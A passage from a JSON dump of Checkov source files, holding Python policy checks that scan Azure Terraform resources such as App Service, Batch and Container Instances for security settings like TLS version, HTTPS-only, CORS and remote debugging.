    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AppServiceDetailedErrorMessagesEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that App service enables detailed error messages\"\n        id = \"CKV_AZURE_65\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        if self.entity_type == 'azurerm_app_service':\n            return \"logs/[0]/detailed_error_messages_enabled\"\n        else:\n            return \"logs/[0]/detailed_error_messages\"\n\n\ncheck = AppServiceDetailedErrorMessagesEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass AppServiceDisallowCORS(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure that CORS disallows every resource to access app services\"\n        id = \"CKV_AZURE_57\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_attribute_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'site_config/[0]/cors/[0]/allowed_origins'\n\n    def get_forbidden_values(self):\n        return [['*']]\n\n\ncheck = AppServiceDisallowCORS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceDotnetFrameworkVersion.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass AppServiceDotnetFrameworkVersion(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that 'Net Framework' version is the latest, if used as a part of the web app\"\n        id = \"CKV_AZURE_80\"\n        supported_resources = ['azurerm_app_service', 'azurerm_windows_web_app']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        # Supported .NET versions (LTS and STS currently supported by Microsoft)\n        # v6.0 is EOL as of November 2024\n        # v8.0 is LTS (supported until November 2026)\n        # v9.0 is STS (supported until November 2026)\n        # v10.0 is the latest version\n        supported_versions = {\"v8.0\", \"v9.0\", \"v10.0\"}\n\n        if conf.get('site_config') and isinstance(conf.get('site_config'), list):\n            site_config = conf.get('site_config')[0]\n            if site_config.get('dotnet_framework_version') and isinstance(site_config.get('dotnet_framework_version'), list):\n                version = site_config.get('dotnet_framework_version')[0]\n                if version in supported_versions:\n                    return CheckResult.PASSED\n                self.evaluated_keys = ['site_config/[0]/dotnet_framework_version']\n                return CheckResult.FAILED\n            if site_config.get('application_stack') and isinstance(site_config.get('application_stack'), list):\n                stack = site_config.get('application_stack')[0]\n                if stack.get('dotnet_version') and isinstance(stack.get('dotnet_version'), list):\n                    version = stack.get('dotnet_version')[0]\n                    if version in supported_versions:\n                        return CheckResult.PASSED\n                    self.evaluated_keys = ['site_config/[0]/application_stack/[0]/dotnet_version']\n                    return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n    def get_expected_values(self) -> List[str]:\n        return [\"v8.0\", \"v9.0\", \"v10.0\"]\n\n\ncheck = AppServiceDotnetFrameworkVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceEnableFailedRequest(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that App service enables failed request tracing\"\n        id = \"CKV_AZURE_66\"\n        supported_resources = ('azurerm_linux_web_app', 'azurerm_windows_web_app', 'azurerm_app_service')\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        if self.entity_type == \"azurerm_app_service\":\n            return 'logs/[0]/failed_request_tracing_enabled'\n        else:\n            return 'logs/[0]/failed_request_tracing'\n\n\ncheck = AppServiceEnableFailedRequest()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceEnvironmentZoneRedundant.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceEnvironmentZoneRedundant(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure App Service Environment is zone redundant\"\n        id = \"CKV_AZURE_231\"\n        supported_resources = (\"azurerm_app_service_environment_v3\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"zone_redundant\"\n\n\ncheck = AppServiceEnvironmentZoneRedundant()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceFTPSState.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceFTPSState(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure FTP deployments are disabled\"\n        id = \"CKV_AZURE_78\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.APPLICATION_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"site_config/0/ftps_state\"\n\n    def get_expected_value(self):\n        return \"Disabled\"\n\n    def get_expected_values(self):\n        return [\"Disabled\", \"FtpsOnly\"]\n\n\ncheck = AppServiceFTPSState()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceHTTPSOnly(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service\"\n        id = \"CKV_AZURE_14\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'https_only/[0]'\n\n\ncheck = AppServiceHTTPSOnly()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AppServiceHttpLoggingEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that App service enables HTTP logging\"\n        id = \"CKV_AZURE_63\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"logs/[0]/http_logs\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AppServiceHttpLoggingEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceHttps20Enabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'HTTP Version' is the latest if used to run the web app\"\n        id = \"CKV_AZURE_18\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'site_config/[0]/http2_enabled'\n\n\ncheck = AppServiceHttps20Enabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceIdentity.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass AppServiceIdentity(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Register with Azure Active Directory is enabled on App Service\"\n        id = \"CKV_AZURE_16\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'identity'\n\n    def get_expected_values(self):\n        return ANY_VALUE\n\n\ncheck = AppServiceIdentity()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceIdentityProviderEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Managed identity provider is enabled for app services\"\n        id = \"CKV_AZURE_71\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"identity/[0]/type\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AppServiceIdentityProviderEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceInstanceMinimum.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AppServiceInstanceMinimum(BaseResourceCheck):\n    def __init__(self) -> None:\n        # \"App Services Plans provides a configurable number of instances that will run apps.\n        # When a single instance is configured your app may be temporarily unavailable during unplanned interruptions.\n        # In most circumstances, Azure will self-heal faulty app service instances automatically.\n        # How-ever during this time there may interruptions to your workload.\"\n        name = \"Ensure App Service has a minimum number of instances for failover\"\n        id = \"CKV_AZURE_212\"\n        supported_resources = (\"azurerm_service_plan\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        worker_count = conf.get(\"worker_count\")\n        if worker_count and isinstance(worker_count, list):\n            if not isinstance(worker_count[0], int):\n                return CheckResult.UNKNOWN\n            if worker_count[0] > 1:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"worker_count\"]\n\n\ncheck = AppServiceInstanceMinimum()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceJavaVersion.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceJavaVersion(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'Java version' is the latest, if used to run the web app\"\n        id = \"CKV_AZURE_83\"\n        supported_resources = ['azurerm_app_service']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.UNKNOWN)\n\n    def get_inspected_key(self):\n        return \"site_config/[0]/java_version/[0]\"\n\n    def get_expected_value(self):\n        return '11'\n\n\ncheck = AppServiceJavaVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceMinTLSVersion(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure web app is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_15\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        if self.entity_type == \"azurerm_app_service\":\n            return \"site_config/[0]/min_tls_version/[0]\"\n        else:\n            return \"site_config/[0]/minimum_tls_version/[0]\"\n\n    def get_expected_value(self):\n        return '1.2'\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"1.2\", 1.2, \"1.3\", 1.3]\n\n\ncheck = AppServiceMinTLSVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServicePHPVersion.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServicePHPVersion(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'PHP version' is the latest, if used to run the web app\"\n        id = \"CKV_AZURE_81\"\n        supported_resources = ['azurerm_app_service']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.UNKNOWN)\n\n    def get_inspected_key(self):\n        return \"site_config/[0]/php_version/[0]\"\n\n    def get_expected_value(self):\n        return '7.4'\n\n\ncheck = AppServicePHPVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServicePlanZoneRedundant.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServicePlanZoneRedundant(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        To enhance the resiliency and reliability of business-critical workloads,\n        it's recommended to deploy new App Service Plans with zone-redundancy.\n\n        There's no additional cost associated with enabling availability zones.\n        Pricing for a zone redundant App Service is the same as a single zone App Service.\n        \"\"\"\n        name = \"Ensure the App Service Plan is zone redundant\"\n        id = \"CKV_AZURE_225\"\n        supported_resources = (\"azurerm_service_plan\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"zone_balancing_enabled\"\n\n\ncheck = AppServicePlanZoneRedundant()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServicePublicAccessDisabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServicePublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Web App public network access is disabled\"\n        id = \"CKV_AZURE_222\"\n        supported_resources = (\"azurerm_linux_web_app\", \"azurerm_windows_web_app\")\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = AppServicePublicAccessDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServicePythonVersion.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServicePythonVersion(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'Python version' is the latest, if used to run the web app\"\n        id = \"CKV_AZURE_82\"\n        supported_resources = ['azurerm_app_service']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.UNKNOWN)\n\n    def get_inspected_key(self):\n        return \"site_config/[0]/python_version/[0]\"\n\n    def get_expected_value(self):\n        return '3.4'\n\n\ncheck = AppServicePythonVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceRemoteDebuggingNotEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that remote debugging is not enabled for app services\"\n        id = \"CKV_AZURE_72\"\n        supported_resources = ('azurerm_app_service',\n                               'azurerm_linux_function_app',\n                               'azurerm_linux_function_app_slot',\n                               'azurerm_linux_web_app',\n                               'azurerm_linux_web_app_slot',\n                               'azurerm_windows_function_app',\n                               'azurerm_windows_function_app_slot',\n                               'azurerm_windows_web_app',\n                               'azurerm_windows_web_app_slot'\n                               )\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"site_config/[0]/remote_debugging_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = AppServiceRemoteDebuggingNotEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceSetHealthCheck(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        # \"Azure App Service monitors a specific path for each web app instance to determine health status.\n        # The monitored path should implement functional checks to determine if the app is performing correctly.\n        # The checks should include dependencies including those that may not be regularly called.\n        # Regular checks of the monitored path allow Azure App Service to route traffic based on availability.\"\n        name = \"Ensure that App Service configures health check\"\n        id = \"CKV_AZURE_213\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'site_config/[0]/health_check_path'\n\n    def get_expected_values(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AppServiceSetHealthCheck()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceSkuMinimum.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass AppServiceSkuMinimum(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        # \"Azure App Services provide a range of different plans that can be used to scale your application.\n        # Each plan provides different levels of performance and features.\n        # To get you started a number of entry level plans are available.\n        # The Free, Shared, and Basic plans can be used for limited testing and development.\n        # These plans are not suitable for production use.\n        # Production workloads are best suited to standard and premium plans with PremiumV3 the newest plan.\"\n        name = \"Ensure App Service plan suitable for production use\"\n        id = \"CKV_AZURE_211\"\n        supported_resources = ['azurerm_service_plan']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'sku_name'\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"B1\", \"B2\", \"B3\", \"F1\", \"D1\"]\n\n\ncheck = AppServiceSkuMinimum()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceSlotDebugDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceSlotDebugDisabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure debugging is disabled for the App service slot\"\n        id = \"CKV_AZURE_155\"\n        supported_resources = ['azurerm_app_service_slot']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"site_config/[0]/remote_debugging_enabled/[0]\"\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = AppServiceSlotDebugDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceSlotHTTPSOnly(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot\"\n        id = \"CKV_AZURE_153\"\n        supported_resources = [\"azurerm_app_service_slot\", \"azurerm_linux_web_app_slot\", \"azurerm_windows_web_app_slot\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"https_only/[0]\"\n\n\ncheck = AppServiceSlotHTTPSOnly()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceSlotMinTLS.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceSlotMinTLS(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure the App service slot is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_154\"\n        supported_resources = ['azurerm_app_service_slot']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"site_config/[0]/min_tls_version/[0]\"\n\n    def get_expected_value(self):\n        return '1.2'\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"1.2\", 1.2, \"1.3\", 1.3]\n\n\ncheck = AppServiceSlotMinTLS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AppServiceUsedAzureFiles(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that app services use Azure Files\"\n        id = \"CKV_AZURE_88\"\n        supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app')\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"storage_account/[0]/type\"\n\n    def get_expected_value(self):\n        return 'AzureFiles'\n\n\ncheck = AppServiceUsedAzureFiles()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AutomationEncrypted.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AutomationEncrypted(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Automation account variables are encrypted\"\n        id = \"CKV_AZURE_73\"\n        supported_resources = (\n            \"azurerm_automation_variable_bool\",\n            \"azurerm_automation_variable_string\",\n            \"azurerm_automation_variable_int\",\n            \"azurerm_automation_variable_datetime\",\n        )\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"encrypted\"\n\n\ncheck = AutomationEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureBatchAccountEndpointAccessDefaultAction.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AzureBatchAccountEndpointAccessDefaultAction(BaseResourceCheck):\n\n    def __init__(self) -> None:\n        name = \"Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny'\"\n        id = \"CKV_AZURE_248\"\n        supported_resources = (\"azurerm_batch_account\",)\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n\n        public_network_access = conf.get('public_network_access_enabled', [None])[0]\n        # public network access is disabled, no need to check for account access default action\n        if public_network_access is False:\n            return CheckResult.PASSED\n\n        network_profile: dict[str, Any] | None = conf.get('network_profile', [None])[0]\n        if not network_profile:\n            return CheckResult.PASSED\n        account_access: dict[str, Any] | None = network_profile.get('account_access', [None])[0]\n        if not account_access:\n            return CheckResult.PASSED\n        default_action: str | None = account_access.get('default_action', [None])[0]\n        if not default_action or str(default_action).lower() != \"allow\":\n            return CheckResult.PASSED\n\n        self.evaluated_keys = [\"network_profile/[0]/account_access/[0]/default_action\"]\n        return CheckResult.FAILED\n\n\ncheck = AzureBatchAccountEndpointAccessDefaultAction()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureBatchAccountUsesKeyVaultEncryption.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureBatchAccountUsesKeyVaultEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Batch account uses key vault to encrypt data\"\n        id = \"CKV_AZURE_76\"\n        supported_resources = ['azurerm_batch_account']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'key_vault_reference/[0]/id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AzureBatchAccountUsesKeyVaultEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureContainerGroupDeployedIntoVirtualNetwork.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureContainerGroupDeployedIntoVirtualNetwork(BaseResourceValueCheck):\n    def __init__(self):\n        # From Azure:\n        # network_profile_id is deprecated by Azure. For users who want to continue to manage existing\n        # azurerm_container_group that rely on network_profile_id, please stay on provider versions prior\n        # to v3.16.0. Otherwise, use subnet_ids instead.\n        name = \"Ensure that Azure Container group is deployed into virtual network\"\n        id = \"CKV_AZURE_98\"\n        supported_resources = ['azurerm_container_group']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'subnet_ids'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AzureContainerGroupDeployedIntoVirtualNetwork()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureContainerInstanceEnvVarSecureValueType.py",
    "content": "from __future__ import annotations\nfrom typing import Any, List\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nimport itertools\n\n\nclass AzureContainerInstanceEnvVarSecureValueType(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure container environment variables are configured with secure values only\"\n        id = \"CKV_AZURE_235\"\n        supported_resources = (\"azurerm_container_group\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n\n        for container in itertools.chain(conf.get('container', {}), conf.get('init_container', {})):\n            if \"environment_variables\" in container:\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['container', 'init_container']\n\n\ncheck = AzureContainerInstanceEnvVarSecureValueType()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureContainerInstancePublicIPAddressType.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureContainerInstancePublicIPAddressType(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Container group is deployed into virtual network\"\n        id = \"CKV_AZURE_245\"\n        supported_resources = ('azurerm_container_group',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'ip_address_type'\n\n    def get_expected_values(self) -> List[str]:\n        return ['Private', 'None']\n\n\ncheck = AzureContainerInstancePublicIPAddressType()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureDataExplorerDoubleEncryptionEnabled.py",
